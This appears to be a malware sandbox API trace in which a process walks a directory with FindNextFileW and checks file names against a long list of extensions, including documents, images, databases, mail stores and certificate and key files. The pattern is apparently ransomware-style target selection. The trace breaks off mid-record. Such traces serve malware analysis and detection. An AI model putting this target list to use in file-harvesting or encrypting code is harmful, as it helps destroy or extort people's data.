lstrcmpiW (lpString1=".aspx", lpString2="7.DLL") returned -1 [0079.702] lstrlenW (lpString=".asr") returned 4 [0079.702] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".asx") returned 4 [0079.702] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".avi") returned 4 [0079.702] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".avs") returned 4 [0079.702] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".backup") returned 7 [0079.702] lstrcmpiW (lpString1=".backup", lpString2="V97.DLL") returned -1 [0079.702] lstrlenW (lpString=".bak") returned 4 [0079.702] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".bay") returned 4 [0079.702] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0079.702] lstrlenW (lpString=".bd") returned 3 [0079.703] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0079.703] lstrlenW (lpString=".bin") returned 4 [0079.703] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0079.703] lstrlenW (lpString=".bmp") returned 4 [0079.703] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0079.703] lstrlenW (lpString=".bz2") returned 4 [0079.703] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0079.703] lstrlenW (lpString=".c") returned 2 [0079.703] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0079.703] lstrlenW (lpString=".cdr") returned 4 [0079.703] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0079.703] lstrlenW (lpString=".cer") returned 4 [0079.703] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0079.703] lstrlenW (lpString=".cf") returned 3 [0079.703] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0079.703] lstrlenW (lpString=".cfc") returned 4 [0079.703] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0079.703] lstrlenW (lpString=".cfm") returned 4 [0079.703] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0079.704] lstrlenW (lpString=".cfml") returned 5 [0079.704] lstrcmpiW (lpString1=".cfml", lpString2="7.DLL") returned -1 [0079.704] lstrlenW (lpString=".cfu") returned 4 [0079.704] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0079.704] lstrlenW (lpString=".chm") returned 4 [0079.704] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0079.704] lstrlenW (lpString=".cin") returned 4 [0079.704] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0079.704] lstrlenW (lpString=".class") returned 6 [0079.704] lstrcmpiW (lpString1=".class", lpString2="97.DLL") returned -1 [0079.704] lstrlenW (lpString=".clx") returned 4 [0079.704] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0079.704] lstrlenW (lpString=".config") returned 7 [0079.704] lstrcmpiW (lpString1=".config", lpString2="V97.DLL") returned -1 [0079.704] lstrlenW (lpString=".cpp") returned 4 [0079.704] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0079.704] lstrlenW (lpString=".cr2") returned 4 [0079.704] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".crt") returned 4 [0079.705] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".crw") returned 4 [0079.705] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".cs") returned 3 [0079.705] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0079.705] lstrlenW (lpString=".css") returned 4 [0079.705] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".csv") returned 4 [0079.705] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".cub") returned 4 [0079.705] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".dae") returned 4 [0079.705] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0079.705] lstrlenW (lpString=".dat") returned 4 [0079.705] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".db") returned 3 [0079.706] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0079.706] lstrlenW (lpString=".dbf") returned 4 [0079.706] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".dbx") returned 4 [0079.706] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".dc3") returned 4 [0079.706] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".dcm") returned 4 [0079.706] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".dcr") returned 4 [0079.706] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".der") returned 4 [0079.706] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".dib") returned 4 [0079.706] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0079.706] lstrlenW (lpString=".dic") returned 4 [0079.707] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0079.707] lstrlenW (lpString=".dif") returned 4 [0079.707] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0079.707] lstrlenW (lpString=".divx") returned 5 [0079.707] lstrcmpiW (lpString1=".divx", lpString2="7.DLL") returned -1 [0079.707] lstrlenW (lpString=".djvu") returned 5 [0079.707] lstrcmpiW (lpString1=".djvu", lpString2="7.DLL") returned -1 [0079.707] lstrlenW (lpString=".dng") returned 4 [0079.707] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0079.707] lstrlenW (lpString=".doc") returned 4 [0079.707] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0079.708] lstrlenW (lpString=".docm") returned 5 [0079.708] lstrcmpiW (lpString1=".docm", lpString2="7.DLL") returned -1 [0079.708] lstrlenW (lpString=".docx") returned 5 [0079.708] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0079.708] lstrlenW (lpString=".dot") returned 4 [0079.708] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0079.709] lstrlenW (lpString=".dotm") returned 5 [0079.709] lstrcmpiW (lpString1=".dotm", lpString2="7.DLL") returned -1 [0079.709] lstrlenW (lpString=".dotx") returned 5 [0079.709] lstrcmpiW (lpString1=".dotx", lpString2="7.DLL") returned -1 [0079.709] lstrlenW (lpString=".dpx") returned 4 [0079.709] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0079.709] lstrlenW (lpString=".dqy") returned 4 [0079.709] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0079.709] lstrlenW (lpString=".dsn") returned 4 [0079.709] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0079.709] lstrlenW (lpString=".dt") returned 3 [0079.709] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0079.709] lstrlenW (lpString=".dtd") returned 4 [0079.709] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0079.710] lstrlenW (lpString=".dwg") returned 4 [0079.710] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0079.710] lstrlenW (lpString=".dwt") returned 4 [0079.710] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0079.710] lstrlenW (lpString=".dx") returned 3 [0079.710] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0079.710] lstrlenW (lpString=".dxf") returned 4 [0079.710] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0079.710] lstrlenW (lpString=".edml") returned 5 [0079.710] lstrcmpiW (lpString1=".edml", lpString2="7.DLL") returned -1 [0079.710] lstrlenW (lpString=".efd") returned 4 [0079.710] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0079.710] lstrlenW (lpString=".elf") returned 4 [0079.711] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0079.711] lstrlenW (lpString=".emf") returned 4 [0079.711] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0079.711] lstrlenW (lpString=".emz") returned 4 [0079.711] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0079.711] lstrlenW (lpString=".epf") returned 4 [0079.711] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0079.711] lstrlenW (lpString=".eps") returned 4 [0079.711] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0079.711] lstrlenW (lpString=".epsf") returned 5 [0079.711] lstrcmpiW (lpString1=".epsf", lpString2="7.DLL") returned -1 [0079.711] lstrlenW (lpString=".epsp") returned 5 [0079.711] lstrcmpiW (lpString1=".epsp", lpString2="7.DLL") returned -1 [0079.711] lstrlenW (lpString=".erf") returned 4 [0079.712] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0079.712] lstrlenW (lpString=".exr") returned 4 [0079.712] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0079.712] lstrlenW (lpString=".f4v") returned 4 [0079.712] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0079.712] lstrlenW (lpString=".fido") returned 5 [0079.712] lstrcmpiW (lpString1=".fido", lpString2="7.DLL") returned -1 [0079.712] lstrlenW (lpString=".flm") returned 4 [0079.712] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0079.712] lstrlenW (lpString=".flv") returned 4 [0079.712] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0079.712] lstrlenW (lpString=".frm") returned 4 [0079.713] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0079.713] lstrlenW (lpString=".fxg") returned 4 [0079.713] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0079.713] lstrlenW (lpString=".geo") returned 4 [0079.713] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0079.713] lstrlenW (lpString=".gif") returned 4 [0079.713] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0079.713] lstrlenW (lpString=".grs") returned 4 [0079.713] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0079.713] lstrlenW (lpString=".gz") returned 3 [0079.713] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0079.713] lstrlenW (lpString=".h") returned 2 [0079.713] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0079.713] lstrlenW (lpString=".hdr") returned 4 [0079.714] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0079.714] lstrlenW (lpString=".hpp") returned 4 [0079.714] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0079.714] lstrlenW (lpString=".hta") returned 4 [0079.714] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0079.714] lstrlenW (lpString=".htc") returned 4 [0079.714] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0079.714] lstrlenW (lpString=".htm") returned 4 [0079.714] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0079.714] lstrlenW (lpString=".html") returned 5 [0079.714] lstrcmpiW (lpString1=".html", lpString2="7.DLL") returned -1 [0079.714] lstrlenW (lpString=".icb") returned 4 [0079.714] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0079.715] lstrlenW (lpString=".ics") returned 4 [0079.715] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0079.715] lstrlenW (lpString=".iff") returned 4 [0079.715] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0079.715] lstrlenW (lpString=".inc") returned 4 [0079.715] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0079.715] lstrlenW (lpString=".indd") returned 5 [0079.715] lstrcmpiW (lpString1=".indd", lpString2="7.DLL") returned -1 [0079.715] lstrlenW (lpString=".ini") returned 4 [0079.715] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0079.715] lstrlenW (lpString=".iqy") returned 4 [0079.715] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0079.715] lstrlenW (lpString=".j2c") returned 4 [0079.716] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0079.716] lstrlenW (lpString=".j2k") returned 4 [0079.716] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0079.716] lstrlenW (lpString=".java") returned 5 [0079.716] lstrcmpiW (lpString1=".java", lpString2="7.DLL") returned -1 [0079.716] lstrlenW (lpString=".jp2") returned 4 [0079.716] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0079.716] lstrlenW (lpString=".jpc") returned 4 [0079.716] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0079.716] lstrlenW (lpString=".jpe") returned 4 [0079.716] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0079.716] lstrlenW (lpString=".jpeg") returned 5 [0079.716] lstrcmpiW (lpString1=".jpeg", lpString2="7.DLL") returned -1 [0079.717] lstrlenW (lpString=".jpf") returned 4 [0079.717] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0079.717] lstrlenW (lpString=".jpg") returned 4 [0079.717] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0079.717] lstrlenW (lpString=".jpx") returned 4 [0079.717] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0079.717] lstrlenW (lpString=".js") returned 3 [0079.717] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0079.717] lstrlenW (lpString=".jsf") returned 4 [0079.717] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0079.717] lstrlenW (lpString=".json") returned 5 [0079.717] lstrcmpiW (lpString1=".json", lpString2="7.DLL") returned -1 [0079.717] lstrlenW (lpString=".jsp") returned 4 [0079.717] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0079.717] lstrlenW (lpString=".kdc") returned 4 [0079.717] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0079.718] lstrlenW (lpString=".kmz") returned 4 [0079.718] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0079.718] lstrlenW (lpString=".kwm") returned 4 [0079.718] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0079.718] lstrlenW (lpString=".lasso") returned 6 [0079.718] lstrcmpiW (lpString1=".lasso", lpString2="97.DLL") returned -1 [0079.718] lstrlenW (lpString=".lbi") returned 4 [0079.718] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0079.718] lstrlenW (lpString=".lgf") returned 4 [0079.718] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0079.718] lstrlenW (lpString=".lgp") returned 4 [0079.718] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0079.718] lstrlenW (lpString=".log") returned 4 [0079.719] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0079.719] lstrlenW (lpString=".m1v") returned 4 [0079.719] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0079.719] lstrlenW (lpString=".m4a") returned 4 [0079.719] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0079.719] lstrlenW (lpString=".m4v") returned 4 [0079.719] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0079.719] lstrlenW (lpString=".max") returned 4 [0079.719] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0079.719] lstrlenW (lpString=".md") returned 3 [0079.719] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0079.719] lstrlenW (lpString=".mda") returned 4 [0079.719] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0079.719] lstrlenW (lpString=".mdb") returned 4 [0079.720] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mde") returned 4 [0079.720] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mdf") returned 4 [0079.720] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mdw") returned 4 [0079.720] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mef") returned 4 [0079.720] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mft") returned 4 [0079.720] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mfw") returned 4 [0079.720] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0079.720] lstrlenW (lpString=".mht") returned 4 [0079.721] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0079.721] lstrlenW (lpString=".mhtml") returned 6 [0079.721] lstrcmpiW (lpString1=".mhtml", lpString2="97.DLL") returned -1 [0079.721] lstrlenW (lpString=".mka") returned 4 [0079.721] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0079.721] lstrlenW (lpString=".mkidx") returned 6 [0079.721] lstrcmpiW (lpString1=".mkidx", lpString2="97.DLL") returned -1 [0079.721] lstrlenW (lpString=".mkv") returned 4 [0079.721] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0079.721] lstrlenW (lpString=".mos") returned 4 [0079.721] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0079.721] lstrlenW (lpString=".mov") returned 4 [0079.721] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0079.721] lstrlenW (lpString=".mp3") returned 4 [0079.722] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".mp4") returned 4 [0079.722] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".mpeg") returned 5 [0079.722] lstrcmpiW (lpString1=".mpeg", lpString2="7.DLL") returned -1 [0079.722] lstrlenW (lpString=".mpg") returned 4 [0079.722] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".mpv") returned 4 [0079.722] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".mrw") returned 4 [0079.722] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".msg") returned 4 [0079.722] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".mxl") returned 4 [0079.722] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0079.722] lstrlenW (lpString=".myd") returned 4 [0079.722] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0079.723] lstrlenW (lpString=".myi") returned 4 [0079.723] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0079.723] lstrlenW (lpString=".nef") returned 4 [0079.723] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".nrw") returned 4 [0080.100] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".obj") returned 4 [0080.100] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".odb") returned 4 [0080.100] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".odc") returned 4 [0080.100] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".odm") returned 4 [0080.100] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".odp") returned 4 [0080.100] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".ods") returned 4 [0080.100] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".oft") returned 4 [0080.100] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".one") returned 4 [0080.100] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0080.100] lstrlenW (lpString=".onepkg") returned 7 [0080.100] lstrcmpiW (lpString1=".onepkg", lpString2="V97.DLL") returned -1 [0080.100] lstrlenW (lpString=".onetoc2") returned 8 [0080.100] lstrcmpiW (lpString1=".onetoc2", lpString2="NV97.DLL") returned -1 [0080.101] lstrlenW (lpString=".opt") returned 4 [0080.101] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".oqy") returned 4 [0080.101] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".orf") returned 4 [0080.101] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".p12") returned 4 [0080.101] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".p7b") returned 4 [0080.101] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".p7c") returned 4 [0080.101] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".pam") returned 4 [0080.101] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".pbm") returned 4 [0080.101] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".pct") returned 4 [0080.101] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".pcx") returned 4 [0080.101] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".pdd") returned 4 [0080.101] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0080.101] lstrlenW (lpString=".pdf") returned 4 [0080.102] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pdp") returned 4 [0080.102] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pef") returned 4 [0080.102] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pem") returned 4 [0080.102] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pff") returned 4 [0080.102] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pfm") returned 4 [0080.102] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pfx") returned 4 [0080.102] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".pgm") returned 4 [0080.102] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".php") returned 4 [0080.102] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0080.102] lstrlenW (lpString=".php3") returned 5 [0080.102] lstrcmpiW (lpString1=".php3", lpString2="7.DLL") returned -1 [0080.102] lstrlenW (lpString=".php4") returned 5 [0080.102] lstrcmpiW (lpString1=".php4", lpString2="7.DLL") returned -1 [0080.102] lstrlenW (lpString=".php5") returned 5 [0080.102] lstrcmpiW (lpString1=".php5", lpString2="7.DLL") returned -1 [0080.102] lstrlenW (lpString=".phtml") returned 6 [0080.102] lstrcmpiW (lpString1=".phtml", lpString2="97.DLL") returned -1 [0080.103] lstrlenW (lpString=".pict") returned 5 [0080.103] lstrcmpiW (lpString1=".pict", lpString2="7.DLL") returned -1 [0080.103] lstrlenW (lpString=".pl") returned 3 [0080.103] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0080.103] lstrlenW (lpString=".pls") returned 4 [0080.103] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0080.103] lstrlenW (lpString=".pm") returned 3 [0080.103] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0080.103] lstrlenW (lpString=".png") returned 4 [0080.103] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0080.103] lstrlenW (lpString=".pnm") returned 4 [0080.103] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0080.103] lstrlenW (lpString=".pot") returned 4 [0080.103] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0080.103] lstrlenW (lpString=".potm") returned 5 [0080.103] lstrcmpiW (lpString1=".potm", lpString2="7.DLL") returned -1 [0080.103] lstrlenW (lpString=".potx") returned 5 [0080.103] lstrcmpiW (lpString1=".potx", lpString2="7.DLL") returned -1 [0080.103] lstrlenW (lpString=".ppa") returned 4 [0080.103] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0080.103] lstrlenW (lpString=".ppam") returned 5 [0080.104] lstrcmpiW (lpString1=".ppam", lpString2="7.DLL") returned -1 [0080.104] lstrlenW (lpString=".ppm") returned 4 [0080.104] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".pps") returned 4 [0080.104] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".ppsm") returned 5 [0080.104] lstrcmpiW (lpString1=".ppsm", lpString2="7.DLL") returned -1 [0080.104] lstrlenW (lpString=".ppt") returned 4 [0080.104] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".pptm") returned 5 [0080.104] lstrcmpiW (lpString1=".pptm", lpString2="7.DLL") returned -1 [0080.104] lstrlenW (lpString=".pptx") returned 5 [0080.104] lstrcmpiW (lpString1=".pptx", lpString2="7.DLL") returned -1 [0080.104] lstrlenW (lpString=".prn") returned 4 [0080.104] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".ps") returned 3 [0080.104] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0080.104] lstrlenW (lpString=".psb") returned 4 [0080.104] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".psd") returned 4 [0080.104] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".pst") returned 4 [0080.104] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0080.104] lstrlenW (lpString=".ptx") returned 4 [0080.105] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0080.105] lstrlenW (lpString=".pub") returned 4 [0080.105] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0080.105] lstrlenW (lpString=".pwm") returned 4 [0080.105] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0080.105] lstrlenW (lpString=".pxr") returned 4 [0080.105] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0080.105] lstrlenW (lpString=".py") returned 3 [0080.105] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0080.105] lstrlenW (lpString=".qt") returned 3 [0080.105] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0080.105] lstrlenW (lpString=".r3d") returned 4 [0080.105] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0080.105] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0080.145] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0080.145] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, 